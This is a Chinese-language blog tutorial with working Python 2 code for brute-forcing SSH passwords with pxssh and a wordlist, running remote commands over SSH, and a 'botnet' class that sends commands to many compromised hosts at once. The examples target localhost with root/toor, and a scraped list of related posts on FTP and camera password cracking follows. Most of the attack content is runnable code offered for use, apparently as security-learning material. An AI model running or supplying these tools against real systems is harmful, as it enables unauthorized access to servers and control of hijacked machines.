Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)
目录
环境:Kali Linux python 2.7.13
暴力破解SSH口令
Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 login()、logout() 和 prompt() 等函数直接与SSH进行交互 。对于login()函数,如果执行成功则不会抛出异常,将显示消息表示密码已经找到并把表示密码已找到的全局布尔值设置为true,如果异常显示密码被拒绝则返回即可,如果异常显示socket为 "read_nonblocking" 则可能是SSH服务器被大量的连接刷爆了,可以过会儿再试,如果异常显示pxssh命令提示符提取困难也应该过会儿再试一次。
# -*- coding: utf-8 -*-
"""
Created on Sat Nov 3 22:01:51 2018
@author: 小谢
"""
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnection=5 #设置最大连接数
connection_lock=BoundedSemaphore(value=maxConnection)
global Found #密码全局布尔值
Found=False
global Fails #失败的次数
Fails=0
def connect(host,user,password,release):
try:
s=pxssh.pxssh() #实例化
s.login(host,user,password) #登录
print '[+] Password Found:'+password #如果不抛出异常,说明密码正确
Found=True
except Exception,e:
if 'read_nonblocking' in str(e): #主机被大量的SSH连接刷爆了
Fails+=1
time.sleep(5)
connect(host,user,password,False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host,user,password,False)
finally:
if release:
connection_lock.release() #解锁线程
def main():
parser=optparse.OptionParser('usage %prog '+'-H <target host> -u <user> -F <password list>')
parser.add_option('-H',dest='Host',type='string',help='target host')
parser.add_option('-F',dest='passwdFile',type='string',help='password file')
parser.add_option('-u',dest='user',type='string',help='the user')
(options,args)=parser.parse_args()
host=options.Host
passwdFile=options.passwdFile
user=options.user
if host==None or passwdFile==None or user==None:
print(parser.usage)
exit(0)
fn=open(passwdFile,'r') #打开密码文件
lines=fn.readlines()
for line in lines:
if Found:
print("[*] Exiting: Password Found")
exit(0)
if Fails>5:
print("[!] Exiting: Too Many Socket Timeouts")
exit(0)
connection_lock.acquire() #锁定线程
password=line.strip("\n")
print("[-] Testing:"+str(password))
t=Thread(target=connect,args=(host,user,password,True)) #开启密码爆破线程
t.start() #启动线程
if __name__=='__main__':
main()

但是这个脚本有一个bug就是,你第一次爆破主机如果有正确密码则会爆出出来,第二次爆破的话就算是有正确密码也不会爆破出来。(自己主机没有这种bug,爆破其他主机会出现这种bug)
SSH远端执行命令
当我们破解了SSH的口令之后,我们就可以运行命令了。
# -*- coding: utf-8 -*-
"""
Created on Sat Nov 3 23:37:11 2018
@author: 小谢
"""
from pexpect import pxssh
def send_command(s,cmd):
s.sendline(cmd) #发送命令给主机
s.prompt() #匹配cmd执行后的下一步操作的命令提示符
print s.before #输出命令提示符之前的内容
def connect(host,user,password):
try:
s=pxssh.pxssh()
s.login(host,user,password) #登录
return s #返回登录的session
except:
print '[-] Error Connecting' #登录失败
exit(0)
s=connect('127.0.0.1','root','toor')
send_command(s,'uname -r')

这个脚本也是有这种bug,第一次可以正确执行命令,第二次就算用户名密码正确,也显示Error Connecting。 (自己主机没有这种bug,爆破其他主机会出现这种bug)
构建僵尸网络
既然可以控制一台,那么就可以控制多台,从而可以构建僵尸网络了!
我们创建了一个Client()类,为了构造client对象,需要主机名,用户名以及密码。同时,这个类还要包含维持与肉鸡连接所需的方法:connect() 、send_command() 。Botnet全局数组记录了单个client对象,addClient()方法的输入是主机名,用户和密码并以此实例化一个client对象并将它添加到botnet数组中。botnetCommand()函数只要一个参数即要发布的命令,这函数遍历整个数组,把命令发送到botnet数组中的每个client上。
# -*- coding: utf-8 -*-
"""
Created on Fri Nov 2 22:41:45 2018
@author: 小谢
"""
from pexpect import pxssh
class Client:
def __init__(self,host,user,password): #初始化对象
self.host=host
self.user=user
self.password=password
self.session=self.connect()
def connect(self): #ssh连接
try:
s=pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception,e:
print e
print '[-] Error Connecting'
def send_command(self,cmd): #发送命令
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output=client.send_command(command)
print '[*] Output from '+ client.host
print '[+] '+output
def addClient(host,user,password):
client=Client(host,user,password) #实例化对象
botNet.append(client)
botNet=[]
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
botnetCommand("uname -a")

Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)的更多相关文章
- Python脚本暴力破解FTP口令(ftplib)
目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...
- [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码
家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 ...
- centos 7 DenyHosts 安装 防暴力破解ssh登陆
为了减少软件扫描ssh登陆 还是用这个比较好点 默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python prog ...
- 10小时之内,暴力破解SSH账号的IP
10小时之内,暴力破解SSH账号的IP,IP 地址数据来源于 ip138.com 182.18.76.246 北京市昌平区 北京亿安天下网络科技有限公司 联通 221.223.200.143 北京市 ...
- 使用Medusa美杜莎暴力破解SSH密码
使用Medusa美杜莎暴力破解SSH密码 1.Medusa简介 Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的爆力破解工具.可以同时对多个主机,用户或密码执行强力测试.Medusa和hy ...
- Linux 利用hosts.deny 防止暴力破解ssh
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
- Linux 利用hosts.deny 防止暴力破解ssh(转)
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
- XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解
XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...
- Python脚本自动化破解大白鲨摄像头(Shodan)
关于本文的技术知识点,Shodan模块的用法,传送门--> Python中shadon模块的使用 Shodan的使用 今天我们要利用python进行自动化破解的摄像头叫大白鲨摄像头,他的 ...
随机推荐
- Python开发环境从零搭建-02-代码编辑器Sublime
想要从零开始搭建一个Python的开发环境说容易也容易 说难也能难倒一片开发人员,在接下来的一系列视频中,会详细的讲解如何一步步搭建python的开发环境 本文章是搭建环境的第2篇 讲解的内容是:安装 ...
- Java中的四种权限修饰符及六种非访问修饰符(简识)
一.是哪四种访问权限修饰符呢? public > protected > [default] > private (公共的 ) (受保护的) (默认的) (私有的) 二.简单认识四种 ...
- ES6学习笔记(3)- 对象的功能性扩展
一.什么是对象字面量 对象字面量就是创建对象(Object)的一种简单容易理解的方式,再通俗点就是所谓的键值对的集合.举个简单的例子: let book = { name: 'JavaScript', ...
- 文件锁fcntl
一.python中的文件锁 我们在写python应用的时候,当涉及到多个进程向同一个文件write(或者read)的情况,如果几个进程同时都对这个文件进行写操作,那么文件的内容就会变得非常混乱,这个时 ...
- 全量同步Elasticsearch方案之Canal
一.前言 Canal 是阿里的一款开源项目,纯 Java 开发.基于数据库增量日志解析,提供增量数据订阅&消费,目前主要支持了 MySQL(也支持 mariaDB). Canal 除了支持 b ...
- 【Azure Developer】Github Action部署资源(ARM模板)到Azure中国区时,遇见登录问题的解决办法
问题描述 在参考文档"使用 GitHub Actions 部署 ARM 模板"一文中,由于是在中国区Azure上操作,所以生产的部署凭证为中国区凭证.当创建工作流时,在登录到Azu ...
- MongoDB中“$”操作符表达式汇总
MongoDB中"$"操作符表达式汇总 查询 比较操作 $eq 语法:{ : { $eq: } } 释义:匹配等于(=)指定值的文档 举例: 查询age = 20的文档: db.p ...
- Dapper, Ef core, Freesql 插入大量数据性能比较(二)
在上一篇文章中,我们比较出单表插入9999行数据,Dapper > EfCore > Freesql.在本文中,我们来看看级联插入 构建9999行数据 List<Entity> ...
- Python简单实现杨辉三角
n=input("请输入要打印的行数")n=int(n)for x in range(0,n+1): p=1 print(''.rjust(n-x),end="" ...
- Java性能调优实战,覆盖80%以上调优场景
Java 性能调优对于每一个奋战在开发一线的技术人来说,随着系统访问量的增加.代码的臃肿,各种性能问题便会层出不穷. 日渐复杂的系统,错综复杂的性能调优,都对Java工程师的技术广度和技术深度提出了更 ...